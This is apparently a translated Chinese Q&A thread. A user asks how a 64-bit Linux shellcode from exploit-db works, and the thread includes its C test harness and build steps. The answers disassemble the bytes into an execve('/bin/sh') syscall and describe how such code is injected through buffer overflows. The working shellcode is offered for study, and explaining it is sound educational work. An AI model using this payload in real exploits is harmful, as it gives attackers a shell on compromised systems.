C shellcode解释

信息安全 C 外壳代码
2021-08-16 22:57:43

我在https://www.exploit-db.com/exploits/39624/找到了这个 shellcode :

#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) sh;
    (int)(*func)();
}

指示:

如何运行

$ gcc -o sh_shell sh_shell.c
$ execstack -s sh_shell
$ ./sh_shell

有人可以解释它实际上是如何工作的吗?

它会在哪些方面对某物造成伤害?

sh用来做什么的?"뀋_H1ҀR^j;X耰bin/sh"(unicode)或"�_H1�R^j;X�����/bin/sh"(ASCII)没有多大意义,除了最后6个字符,前面的那些字符是什么?)

2个回答

使用ndisasm,可以将数组中的数据sh反汇编为以下有效的 64 位 x86 机器码:

00000000  EB0B              jmp short 0xd
00000002  5F                pop rdi
00000003  4831D2            xor rdx,rdx
00000006  52                push rdx
00000007  5E                pop rsi
00000008  6A3B              push byte +0x3b
0000000A  58                pop rax
0000000B  0F05              syscall
0000000D  E8F0FFFFFF        call qword 0x2
00000012                    '/bin/sh'

它看起来像行简单的位置无关的 shellcode 来执行内核系统调用/bin/sh

/bin/sh第一条指令跳转到字符串之前的指令,然后call再次返回到第二条指令。然后将返回地址从堆栈中弹出到寄存器rdi中。这是一个获取/bin/sh字符串内存地址的技巧,因为 shellcode 在执行时不知道它在内存中的什么位置。

然后将寄存器rdx设置为 0 并推入堆栈并弹回寄存器rsi然后将字节 0x3b 放入堆栈并弹出回寄存器rax

我们现在设置如下:

  • rdi = 指向字符串的指针 /bin/sh
  • rdx = 0
  • rsi = 0
  • rax = 0x3b

此时,我们将控制权交给内核,其中syscall参数告诉它 execve() 指针处的文件路径0x3braxrdi

如果我们把它翻译回 C,它基本上是在做:

execve('/bin/sh', NULL, NULL);

要准确了解这段代码的作用,需要了解操作系统和平台的处理器。sh 变量包含处理器的十六进制指令,并且该变量的内容不被编译器编译。main() 中的三行用于调用 sh 变量作为函数指针。sh 的内容包含对 Linux执行系统调用的指令。可能这段代码让攻击者可以访问 SH shell。

在我看来,这段 C 代码是代码注入漏洞的开始。可以通过测试类似这样的 C 程序来设计要注入的代码。然后为了实现代码注入,攻击者只需要访问一个溢出的缓冲区,并且需要将类似此代码的内容复制并粘贴到缓冲区的溢出部分。这种类型的攻击称为缓冲区溢出。 此漏洞利用中的 SH shell 将以与被利用缓冲区溢出的程序相同的权限运行。